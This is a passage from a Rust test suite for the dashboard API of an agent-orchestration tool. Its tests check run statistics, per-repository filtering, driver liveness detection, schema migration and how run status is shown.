17815 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
17816 }
17817
17818 #[test]
17819 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
17820 let start = APP_JS
17821 .find("function scheduleSearch(")
17822 .expect("scheduleSearch exists");
17823 let body = &APP_JS[start..];
17824 let body = &body[..body.find("\n}\n").expect("function end")];
17825 assert!(body.contains("s.seq += 1"));
17826 }
17827
17828 #[tokio::test]
17833 async fn stats_runs_unreadable_matches_health() {
17834 let f = Fixture::start().await;
17835 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17836 let broken = f.runs().join("20260902-140502-bad");
17837 std::fs::create_dir_all(&broken).expect("run dir");
17838 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17839
17840 let stats = f.get("/api/stats").await;
17841 let health = f.get("/api/health").await;
17842
17843 assert_eq!(stats.status, 200);
17844 assert_eq!(stats.json()["totals"]["runs"], 1);
17845 assert_eq!(stats.json()["runs_unreadable"], 1);
17846 assert_eq!(
17847 stats.json()["runs_unreadable"],
17848 health.json()["runs_unreadable"],
17849 "the dashboard and /api/health must never disagree about how many \
17850 runs could not be read"
17851 );
17852 }
17853
17854 #[tokio::test]
17855 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
17856 let f = Fixture::start().await;
17857 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17858 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
17859 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
17860
17861 let totals = &f.get("/api/stats").await.json()["totals"];
17862 assert_eq!(totals["runs"], 3);
17863 assert_eq!(totals["merged"], 1);
17864 assert_eq!(totals["stalled"], 1);
17865 assert_eq!(totals["in_progress"], 1);
17866 assert_eq!(totals["blocked"], 0);
17869 assert_eq!(totals["ready"], 0);
17870 }
17871
17872 #[tokio::test]
17873 async fn stats_advisors_report_proposals_and_reflection() {
17874 use crate::advise::{Advice, AdvisorRecord, Reflection};
17875 use crate::verdict::Proposal;
17876
17877 let f = Fixture::start().await;
17878 let mut state = RunState::new(
17879 PathBuf::from("/repo/magi"),
17880 "main".to_owned(),
17881 "0123456789abcdef".to_owned(),
17882 "task".to_owned(),
17883 Config::default(),
17884 );
17885 state.id = "20260902-140501-a".to_owned();
17886 state.status = RunStatus::Merged;
17887 state.advice = Some(Advice {
17888 records: vec![
17889 AdvisorRecord {
17890 seat: "advisor-1".to_owned(),
17891 agent: "alpha".to_owned(),
17892 proposal: Some(Proposal {
17893 approach: "do it".to_owned(),
17894 key_tradeoff: "speed over memory".to_owned(),
17895 risks: Vec::new(),
17896 touches: Vec::new(),
17897 why_not_naive: "breaks under load".to_owned(),
17898 }),
17899 error: None,
17900 duration_ms: 0,
17901 reflection: Reflection::Strong,
17902 },
17903 AdvisorRecord {
17904 seat: "advisor-2".to_owned(),
17905 agent: "alpha".to_owned(),
17906 proposal: None,
17907 error: Some("timed out".to_owned()),
17908 duration_ms: 0,
17909 reflection: Reflection::Absent,
17910 },
17911 ],
17912 synthesis: Some("blended brief".to_owned()),
17913 });
17914 let dir = f.runs().join(&state.id);
17915 std::fs::create_dir_all(&dir).expect("run dir");
17916 std::fs::write(
17917 dir.join("run.json"),
17918 serde_json::to_string_pretty(&state).expect("serialize run"),
17919 )
17920 .expect("write run.json");
17921
17922 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17924 let alpha = advisors
17925 .as_array()
17926 .expect("an array")
17927 .iter()
17928 .find(|a| a["agent"] == "alpha")
17929 .expect("alpha row");
17930 assert_eq!(alpha["seated"], 2);
17931 assert_eq!(alpha["proposed"], 1);
17932 assert_eq!(alpha["absent"], 1);
17933 assert_eq!(alpha["strong"], 1);
17934 assert_eq!(alpha["faint"], 0);
17935 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17936 }
17937
17938 #[tokio::test]
17939 async fn stats_hides_agents_outside_the_roster_unless_all() {
17940 use crate::run::Candidate;
17941 let repo = TempDir::new().expect("repo dir");
17942 std::fs::write(
17943 repo.path().join("magi.toml"),
17944 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17945 )
17946 .expect("magi.toml");
17947 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17948 let mut state = RunState::new(
17949 PathBuf::from("/repo/magi"),
17950 "main".to_owned(),
17951 "0123456789abcdef".to_owned(),
17952 "task".to_owned(),
17953 Config::default(),
17954 );
17955 state.id = "20260902-140501-a".to_owned();
17956 state.status = RunStatus::Merged;
17957 for (label, agent) in [('A', "keep"), ('B', "retired")] {
17958 let mut c: Candidate = serde_json::from_value(serde_json::json!({
17959 "index": 0, "label": label.to_string(), "agent": agent,
17960 "branch": "b", "worktree": "/w",
17961 }))
17962 .expect("candidate");
17963 c.label = label;
17964 state.candidates.push(c);
17965 }
17966 let dir = f.runs().join(&state.id);
17967 std::fs::create_dir_all(&dir).expect("run dir");
17968 std::fs::write(
17969 dir.join("run.json"),
17970 serde_json::to_string_pretty(&state).expect("serialize run"),
17971 )
17972 .expect("write run.json");
17973
17974 let agents_of = |v: &serde_json::Value| -> Vec<String> {
17975 v["agents"]
17976 .as_array()
17977 .expect("array")
17978 .iter()
17979 .map(|a| a["agent"].as_str().unwrap().to_owned())
17980 .collect()
17981 };
17982 let hidden = f.get("/api/stats").await.json();
17983 assert_eq!(agents_of(&hidden), ["keep"]);
17984 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
17985 assert_eq!(hidden["totals"]["runs"], 1);
17986
17987 let all = f.get("/api/stats?all=true").await.json();
17988 assert_eq!(agents_of(&all).len(), 2);
17989 assert_eq!(all["retired_hidden"], serde_json::json!([]));
17990 let keep_agent = all["agents"]
17992 .as_array()
17993 .unwrap()
17994 .iter()
17995 .find(|a| a["agent"] == "keep")
17996 .unwrap();
17997 assert_eq!(keep_agent["competitive_entered"], 1);
17998 assert_eq!(keep_agent["competitive_wins"], 0);
17999 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18000 assert_eq!(keep_agent["solo_entered"], 0);
18001 assert_eq!(keep_agent["solo_adopted"], 0);
18002 assert!(keep_agent["solo_adoption_rate"].is_null());
18003 }
18004
18005 #[tokio::test]
18006 async fn stats_release_bumps_split_clean_from_attention() {
18007 use crate::run::ReleaseBump;
18008
18009 let f = Fixture::start().await;
18010
18011 let mut clean = RunState::new(
18012 PathBuf::from("/repo/magi"),
18013 "main".to_owned(),
18014 "0123456789abcdef".to_owned(),
18015 "task".to_owned(),
18016 Config::default(),
18017 );
18018 clean.id = "20260902-140501-a".to_owned();
18019 clean.status = RunStatus::Merged;
18020 clean.release_bump = Some(ReleaseBump {
18021 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18022 version: Some("1.0.0".to_owned()),
18023 automerge_enabled: true,
18024 merged_directly: false,
18025 local: false,
18026 release: None,
18027 problem: None,
18028 action_required: None,
18029 });
18030
18031 let mut blocked = RunState::new(
18032 PathBuf::from("/repo/magi"),
18033 "main".to_owned(),
18034 "0123456789abcdef".to_owned(),
18035 "task".to_owned(),
18036 Config::default(),
18037 );
18038 blocked.id = "20260902-140502-b".to_owned();
18039 blocked.status = RunStatus::Merged;
18040 blocked.release_bump = Some(ReleaseBump {
18041 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18042 version: Some("1.0.1".to_owned()),
18043 automerge_enabled: false,
18044 merged_directly: false,
18045 local: false,
18046 release: None,
18047 problem: Some("checks red".to_owned()),
18048 action_required: Some("look at the PR".to_owned()),
18049 });
18050
18051 for state in [&clean, &blocked] {
18052 let dir = f.runs().join(&state.id);
18053 std::fs::create_dir_all(&dir).expect("run dir");
18054 std::fs::write(
18055 dir.join("run.json"),
18056 serde_json::to_string_pretty(state).expect("serialize run"),
18057 )
18058 .expect("write run.json");
18059 }
18060
18061 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18062 assert_eq!(bumps["merged"], 2);
18063 assert_eq!(bumps["recorded"], 2);
18064 assert_eq!(bumps["pr_opened"], 2);
18065 assert_eq!(bumps["automerge_enabled"], 1);
18066 assert_eq!(bumps["needs_attention"], 1);
18067 assert_eq!(bumps["clean"], 1);
18068 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18069 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18070 }
18071
18072 #[tokio::test]
18073 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18074 let f = Fixture::start().await;
18075 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18076
18077 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18078 assert_eq!(bumps["merged"], 1);
18079 assert_eq!(bumps["recorded"], 0);
18080 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18083 assert_eq!(bumps["automerge_rate"], Value::Null);
18086 assert_eq!(bumps["attention_rate"], Value::Null);
18087 }
18088
18089 #[tokio::test]
18090 async fn stats_queue_counts_come_from_the_live_queue() {
18091 let f = Fixture::start().await;
18092 let q = f.queue();
18093 let mut queued = Task::new(
18094 "queued task".to_owned(),
18095 "do it".to_owned(),
18096 PathBuf::from("/repo"),
18097 Source::Human,
18098 );
18099 q.put(&mut queued).expect("put queued");
18100 let mut held = Task::new(
18101 "held task".to_owned(),
18102 "do it later".to_owned(),
18103 PathBuf::from("/repo"),
18104 Source::Human,
18105 );
18106 held.hold_machine(Some("out of attempts".to_owned()));
18107 q.put(&mut held).expect("put held");
18108
18109 let queue = f.get("/api/stats").await.json()["queue"].clone();
18110 assert_eq!(queue["queued"], 1);
18111 assert_eq!(queue["held"], 1);
18112 assert_eq!(queue["running"], 0);
18113 assert_eq!(queue["done"], 0);
18114 assert_eq!(queue["failed"], 0);
18115 assert_eq!(queue["blocked"], 0);
18116 }
18117
18118 #[tokio::test]
18119 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18120 let f = Fixture::start().await;
18121 let stats = f.get("/api/stats").await;
18122 assert_eq!(stats.status, 200);
18123 assert_eq!(stats.json()["totals"]["runs"], 0);
18124 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18125 assert_eq!(stats.json()["runs_unreadable"], 0);
18126 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18127 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18128 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18129 assert_eq!(stats.json()["repo"], Value::Null);
18130 }
18131
18132 #[tokio::test]
18133 async fn stats_lists_every_repository_with_runs_recorded() {
18134 let f = Fixture::start().await;
18135 write_run_repo(
18136 &f.runs(),
18137 "20260902-140501-a",
18138 RunStatus::Merged,
18139 "/repos/a",
18140 );
18141 write_run_repo(
18142 &f.runs(),
18143 "20260902-140502-b",
18144 RunStatus::Merged,
18145 "/repos/a",
18146 );
18147 write_run_repo(
18148 &f.runs(),
18149 "20260902-140503-c",
18150 RunStatus::Blocked,
18151 "/repos/b",
18152 );
18153
18154 let stats = f.get("/api/stats").await;
18155 assert_eq!(stats.status, 200);
18156 assert_eq!(stats.json()["totals"]["runs"], 3);
18158 assert_eq!(stats.json()["repo"], Value::Null);
18159
18160 let repos = stats.json()["repos"].clone();
18161 let repos = repos.as_array().unwrap();
18162 assert_eq!(repos.len(), 2);
18163 assert_eq!(repos[0]["repo"], "/repos/a");
18165 assert_eq!(repos[0]["name"], "a");
18166 assert_eq!(repos[0]["runs"], 2);
18167 assert_eq!(repos[1]["repo"], "/repos/b");
18168 assert_eq!(repos[1]["runs"], 1);
18169 }
18170
18171 #[tokio::test]
18172 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18173 let f = Fixture::start().await;
18174 write_run_repo(
18175 &f.runs(),
18176 "20260902-140501-a",
18177 RunStatus::Merged,
18178 "/repos/a",
18179 );
18180 write_run_repo(
18181 &f.runs(),
18182 "20260902-140502-b",
18183 RunStatus::Blocked,
18184 "/repos/b",
18185 );
18186
18187 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18188 assert_eq!(stats.status, 200);
18189 assert_eq!(stats.json()["totals"]["runs"], 1);
18190 assert_eq!(stats.json()["totals"]["merged"], 1);
18191 assert_eq!(stats.json()["repo"], "/repos/a");
18192 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18195 assert_eq!(stats.json()["runs_unreadable"], 0);
18198 }
18199
18200 #[tokio::test]
18201 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18202 let f = Fixture::start().await;
18203 write_run_repo(
18204 &f.runs(),
18205 "20260902-140501-a",
18206 RunStatus::Merged,
18207 "/repos/a",
18208 );
18209 write_run_repo(
18210 &f.runs(),
18211 "20260902-140502-b",
18212 RunStatus::Merged,
18213 "/repos/b",
18214 );
18215
18216 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18217 let json = f.get(uri).await.json();
18218 let daily = json["daily"].as_array().expect("daily is an array");
18219 assert_eq!(daily.len(), 30);
18220 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18221 let mut sorted = dates.clone();
18222 sorted.sort();
18223 assert_eq!(dates, sorted);
18224 for d in daily {
18225 assert_eq!(
18226 d["merged"].as_u64().unwrap()
18227 + d["ready"].as_u64().unwrap()
18228 + d["other"].as_u64().unwrap(),
18229 d["runs"].as_u64().unwrap()
18230 );
18231 }
18232 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18233 }
18234 }
18235
18236 #[tokio::test]
18237 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18238 let f = Fixture::start().await;
18239 write_run_repo(
18240 &f.runs(),
18241 "20260902-140501-a",
18242 RunStatus::Merged,
18243 "/repos/a",
18244 );
18245
18246 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18247 assert_eq!(stats.status, 404);
18248 }
18249
18250 #[tokio::test]
18251 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18252 let f = Fixture::start().await;
18253 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18254
18255 let summary = f.get("/api/runs").await.json();
18256 let row = &summary[0];
18257 assert_eq!(row["short"], "a1b2");
18258 assert_eq!(row["status"], "ready");
18259 assert_eq!(row["done"], true);
18260 assert_eq!(row["title"], "Add a web UI");
18261 assert_eq!(row["repo_name"], "magi");
18262 assert_eq!(row["judges"], 3);
18263 assert_eq!(row["winner"], Value::Null);
18264 assert_eq!(row["reviews"], 0);
18265
18266 let detail = f.get("/api/runs/a1b2").await;
18269 assert_eq!(detail.status, 200);
18270 assert_eq!(detail.json()["base_branch"], "main");
18271 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18272 }
18273
18274 #[tokio::test]
18282 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18283 let f = Fixture::start().await;
18284
18285 let mut none_run = RunState::new(
18286 PathBuf::from("/repo/magi"),
18287 "main".to_owned(),
18288 "0123456789abcdef".to_owned(),
18289 "Add a web UI".to_owned(),
18290 Config::default(),
18291 );
18292 none_run.id = "20260902-140503-none".to_owned();
18293 none_run.status = RunStatus::Ready;
18294 none_run.merge = Some(crate::run::MergeOutcome {
18295 mode: crate::config::MergeMode::None,
18296 ok: true,
18297 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18298 empty: false,
18299 });
18300 write_state(&f.runs(), &none_run);
18301
18302 let mut pr_run = RunState::new(
18303 PathBuf::from("/repo/magi"),
18304 "main".to_owned(),
18305 "0123456789abcdef".to_owned(),
18306 "Add a web UI".to_owned(),
18307 Config::default(),
18308 );
18309 pr_run.id = "20260902-140504-prcl".to_owned();
18310 pr_run.status = RunStatus::Ready;
18311 pr_run.merge = Some(crate::run::MergeOutcome {
18312 mode: crate::config::MergeMode::Pr,
18313 ok: false,
18314 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18315 empty: false,
18316 });
18317 write_state(&f.runs(), &pr_run);
18318
18319 let summary = f.get("/api/runs").await.json();
18320 let rows: std::collections::HashMap<&str, &Value> = summary
18321 .as_array()
18322 .expect("an array")
18323 .iter()
18324 .map(|r| (r["id"].as_str().expect("an id"), r))
18325 .collect();
18326 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18327 assert_eq!(
18328 rows[none_run.id.as_str()]["unmerged_by_design"],
18329 true,
18330 "a mode-none Ready must be flagged in the list"
18331 );
18332 assert_eq!(
18333 rows[pr_run.id.as_str()]["unmerged_by_design"],
18334 false,
18335 "a Ready reached by a closed pull request is a different case"
18336 );
18337
18338 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18339 assert_eq!(none_detail["status"], "ready");
18340 assert_eq!(none_detail["unmerged_by_design"], true);
18341
18342 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18343 assert_eq!(pr_detail["unmerged_by_design"], false);
18344 }
18345
18346 #[tokio::test]
18351 async fn run_core_survives_unavailable_related_stores() {
18352 let home = TempDir::new().unwrap();
18353 let ui = delta_test_ui(home.path());
18354 let state = RunState::new(
18355 PathBuf::from("/repo/magi"),
18356 "main".into(),
18357 "0123456789abcdef".into(),
18358 "Useful core instructions".into(),
18359 Config::default(),
18360 );
18361 let dir = ui.runs.join(&state.id);
18362 std::fs::create_dir_all(&dir).unwrap();
18363 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18364 std::fs::write(ui.questions.root(), "unavailable").unwrap();
18365 std::fs::write(ui.queue.root(), "unavailable").unwrap();
18366 let core = run_core(State(ui.clone()), Path(state.id.clone()))
18367 .await
18368 .unwrap()
18369 .0;
18370 assert_eq!(core.state.instruction, state.instruction);
18371 assert_eq!(core.state.updated_at, state.updated_at);
18372 assert!(core.task.is_none());
18373 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18374 }
18375
18376 #[tokio::test]
18377 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18378 let f = Fixture::start().await;
18379 let id = "20260902-140502-bbbb";
18383 let mut state = RunState::new(
18384 PathBuf::from("/repo/magi"),
18385 "main".to_owned(),
18386 "0123456789abcdef".to_owned(),
18387 "Add a web UI".to_owned(),
18388 Config::default(),
18389 );
18390 state.id = id.to_owned();
18391 state.status = RunStatus::Judging;
18392 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18393 let dir = f.runs().join(id);
18394 std::fs::create_dir_all(&dir).expect("run dir");
18395 std::fs::write(
18396 dir.join("run.json"),
18397 serde_json::to_string_pretty(&state).expect("serialize run"),
18398 )
18399 .expect("write run.json");
18400
18401 let cold = f.get(&format!("/api/runs/{id}")).await.json();
18407 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18408 assert_eq!(cold["live"], "unknown", "{cold}");
18409
18410 write_daemon(f.home.path(), Timestamp::now());
18413 let warm = f.get(&format!("/api/runs/{id}")).await.json();
18414 assert_eq!(warm["live"], "live", "{warm}");
18415 }
18416
18417 #[test]
18418 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18419 let home = tempfile::tempdir().expect("temp home");
18420 let runs = home.path().join("runs");
18421 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18422 let mut state = RunState::new(
18423 PathBuf::from("/repo/magi"),
18424 "main".to_owned(),
18425 "0123456789abcdef".to_owned(),
18426 "Generated review context, not authored task criteria".to_owned(),
18427 Config::default(),
18428 );
18429 state.origin = origin;
18430 state.status = RunStatus::Blocked;
18431 state.driver_exited = false;
18433 state.gate_ran = true;
18434 let expected = serde_json::to_value(&state).expect("serialize current state");
18435 let mut legacy = expected.clone();
18436 legacy["schema"] = serde_json::json!(13);
18437 legacy.as_object_mut().unwrap().remove("task_instruction");
18438 let dir = runs.join(&state.id);
18439 std::fs::create_dir_all(&dir).expect("run dir");
18440 let path = dir.join("run.json");
18441 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18442 std::fs::write(&path, &body).expect("write legacy run");
18443
18444 for loaded in [
18445 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18446 read_run(&runs, &state.id).expect("web migration"),
18447 ] {
18448 assert_eq!(loaded.schema, crate::run::SCHEMA);
18449 assert!(loaded.task_instruction.is_none());
18450 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18451 }
18452 assert_eq!(runs_unreadable(&runs), 0);
18453 assert_eq!(std::fs::read(&path).unwrap(), body);
18454 }
18455 }
18456
18457 #[tokio::test]
18460 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18461 let f = Fixture::start().await;
18462 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18463 let mut state = RunState::new(
18464 PathBuf::from("/repo/magi"),
18465 "main".to_owned(),
18466 "0123456789abcdef".to_owned(),
18467 "Add a web UI".to_owned(),
18468 Config::default(),
18469 );
18470 state.id = id.to_owned();
18471 state.origin = origin;
18472 let mut value = serde_json::to_value(&state).expect("serialize run");
18473 if let Some(schema) = schema {
18474 value["schema"] = serde_json::json!(schema);
18475 value.as_object_mut().unwrap().remove("origin");
18476 }
18477 let dir = f.runs().join(id);
18478 std::fs::create_dir_all(&dir).expect("run dir");
18479 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18480 };
18481 write(
18482 "20260930-092817-ec34",
18483 Some(crate::run::Origin::from_agent_env(
18484 Some(("4a7b".to_owned(), "chat".to_owned())),
18485 None,
18486 )),
18487 None,
18488 );
18489 write("20260930-092817-0ld1", None, Some(12));
18490
18491 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18492 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18493 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18494
18495 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18496 assert_eq!(
18497 old["origin_label"], "origin unknown (started before origins were recorded)",
18498 "{old}"
18499 );
18500 assert!(old["origin"].is_null(), "{old}");
18501
18502 let list = f.get("/api/runs").await.json();
18503 let labels: Vec<_> = list
18504 .as_array()
18505 .unwrap()
18506 .iter()
18507 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18508 .collect();
18509 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18510 }
18511
18512 #[tokio::test]
18519 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18520 let f = Fixture::start().await;
18521 let id = "20260922-090000-cccc";
18522 let mut state = RunState::new(
18523 PathBuf::from("/repo/magi"),
18524 "main".to_owned(),
18525 "0123456789abcdef".to_owned(),
18526 "Review only".to_owned(),
18527 Config::default(),
18528 );
18529 state.id = id.to_owned();
18530 state.status = RunStatus::Reviewing;
18531 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18532 state.driver_pid = Some(std::process::id());
18538 state.driver_started_at = Some(
18539 crate::proc::process_started_at(std::process::id())
18540 .expect("this test process's own start time must be queryable"),
18541 );
18542 let dir = f.runs().join(id);
18543 std::fs::create_dir_all(&dir).expect("run dir");
18544 std::fs::write(
18545 dir.join("run.json"),
18546 serde_json::to_string_pretty(&state).expect("serialize run"),
18547 )
18548 .expect("write run.json");
18549
18550 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18551 assert_eq!(detail["live"], "live", "{detail}");
18552 }
18553
18554 #[tokio::test]
18560 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18561 let f = Fixture::start().await;
18562 let id = "20260922-090100-dddd";
18563 let mut state = RunState::new(
18564 PathBuf::from("/repo/magi"),
18565 "main".to_owned(),
18566 "0123456789abcdef".to_owned(),
18567 "Review only".to_owned(),
18568 Config::default(),
18569 );
18570 state.id = id.to_owned();
18571 state.status = RunStatus::Reviewing;
18572 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18573 state.driver_pid = Some(std::process::id());
18578 state.driver_started_at = Some("1".to_owned());
18579 let dir = f.runs().join(id);
18580 std::fs::create_dir_all(&dir).expect("run dir");
18581 std::fs::write(
18582 dir.join("run.json"),
18583 serde_json::to_string_pretty(&state).expect("serialize run"),
18584 )
18585 .expect("write run.json");
18586
18587 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18588 assert_eq!(detail["live"], "dead", "{detail}");
18589 }
18590
18591 #[test]
18595 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18596 let mk = |id: &str, pid: Option<u32>| {
18597 let mut s = RunState::new(
18598 PathBuf::from("/repo/magi"),
18599 "main".to_owned(),
18600 "0123456789abcdef".to_owned(),
18601 "Add a web UI".to_owned(),
18602 Config::default(),
18603 );
18604 s.id = id.to_owned();
18605 s.driver_pid = pid;
18606 s.driver_started_at = Some("1790000000".to_owned());
18607 s
18608 };
18609 let states = vec![
18610 mk("20260902-140502-aaaa", Some(77)),
18611 mk("20260902-140502-bbbb", Some(77)),
18612 mk("20260902-140502-cccc", Some(77)),
18613 mk("20260902-140502-dddd", None),
18614 ];
18615 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18616 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18617 let sup: HashMap<String, String> = [(
18618 "20260902-140502-aaaa".to_owned(),
18619 "20260902-140502-cccc".to_owned(),
18620 )]
18621 .into();
18622
18623 let status_calls = std::cell::Cell::new(0);
18624 let identity_calls = std::cell::Cell::new(0);
18625 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18626 |_| {
18627 status_calls.set(status_calls.get() + 1);
18628 Some(true)
18629 },
18630 |_| {
18631 identity_calls.set(identity_calls.get() + 1);
18632 Some("1790000000".to_owned())
18633 },
18634 ));
18635 let rows = summarize(
18636 states,
18637 &open,
18638 &claimed,
18639 &sup,
18640 |p| probe.borrow_mut().status(p),
18641 |p| probe.borrow_mut().started_at(p),
18642 );
18643
18644 assert_eq!(status_calls.get(), 1, "one pid, one status query");
18645 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18646 assert_eq!(rows.len(), 4);
18647 assert!(!rows[0].waiting && rows[1].waiting);
18648 assert_eq!(rows[0].live, crate::run::Liveness::Live);
18649 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
18650 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
18651 assert_eq!(rows[1].superseded_by, None);
18652 }
18653
18654 #[test]
18655 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
18656 let mut state = RunState::new(
18657 PathBuf::from("/repo/magi"),
18658 "main".to_owned(),
18659 "0123456789abcdef".to_owned(),
18660 "Review only".to_owned(),
18661 Config::default(),
18662 );
18663 state.id = "20260922-090200-dead".to_owned();
18664 state.status = RunStatus::Reviewing;
18665 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
18666 .expect("serialize list row");
18667 assert_eq!(row["status"], "reviewing");
18668 assert_eq!(row["display_status"], "stale");
18669 assert_eq!(row["live"], "dead", "{row}");
18670 assert!(!row["done"].as_bool().unwrap());
18671 }
18672
18673 #[test]
18674 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
18675 use crate::run::Liveness::{Dead, Live, Unknown};
18676 let mut state = RunState::new(
18677 PathBuf::from("/repo/magi"),
18678 "main".to_owned(),
18679 "abc".to_owned(),
18680 "Review only".to_owned(),
18681 Config::default(),
18682 );
18683 for (status, parked, node, waiting, live, expected) in [
18684 (
18685 RunStatus::Judging,
18686 true,
18687 "github-text",
18688 false,
18689 Dead,
18690 "parked",
18691 ),
18692 (RunStatus::Judging, false, "park", false, Dead, "stale"),
18693 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
18694 (
18695 RunStatus::Judging,
18696 true,
18697 "github-text",
18698 true,
18699 Dead,
18700 "waiting",
18701 ),
18702 (
18703 RunStatus::Judging,
18704 false,
18705 "github-text",
18706 true,
18707 Dead,
18708 "waiting",
18709 ),
18710 (
18711 RunStatus::Judging,
18712 false,
18713 "github-text",
18714 false,
18715 Dead,
18716 "stale",
18717 ),
18718 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
18719 (RunStatus::Judging, true, "park", false, Live, "judging"),
18720 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
18721 (RunStatus::Merged, true, "park", false, Dead, "merged"),
18722 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
18723 (
18724 RunStatus::Blocked,
18725 true,
18726 "github-text",
18727 true,
18728 Dead,
18729 "waiting",
18730 ),
18731 ] {
18732 state.status = status;
18733 state.parked = parked;
18734 state.events.clear();
18735 state.event(
18736 "park",
18737 "an earlier park does not determine the latest state",
18738 );
18739 state.event(node, "message is not used for classification");
18740 let summary = RunSummary::of(&state, waiting, live);
18741 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
18742 assert_eq!(
18743 summary.display_status, expected,
18744 "{status:?}/{node}/{live:?}"
18745 );
18746 assert_eq!(detail.display_status, summary.display_status);
18747 assert_eq!(detail.waiting, summary.waiting);
18748 }
18749 state.status = RunStatus::Judging;
18750 state.parked = false;
18751 state.events.clear();
18752 assert_eq!(run_display_status(&state, false, Dead), "stale");
18753 }
18754
18755 #[test]
18756 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
18757 use crate::run::Liveness::{Dead, Live, Unknown};
18758 let mut state = RunState::new(
18759 PathBuf::from("/repo/magi"),
18760 "main".to_owned(),
18761 "abc".to_owned(),
18762 "Badge".to_owned(),
18763 Config::default(),
18764 );
18765 for (status, waiting, live, superseded, expected) in [
18766 (RunStatus::Gating, false, Dead, false, "stale"),
18767 (RunStatus::Gating, false, Dead, true, "superseded"),
18768 (RunStatus::Gating, false, Unknown, true, "superseded"),
18769 (RunStatus::Gating, true, Dead, true, "superseded"),
18770 (RunStatus::Gating, true, Dead, false, "waiting"),
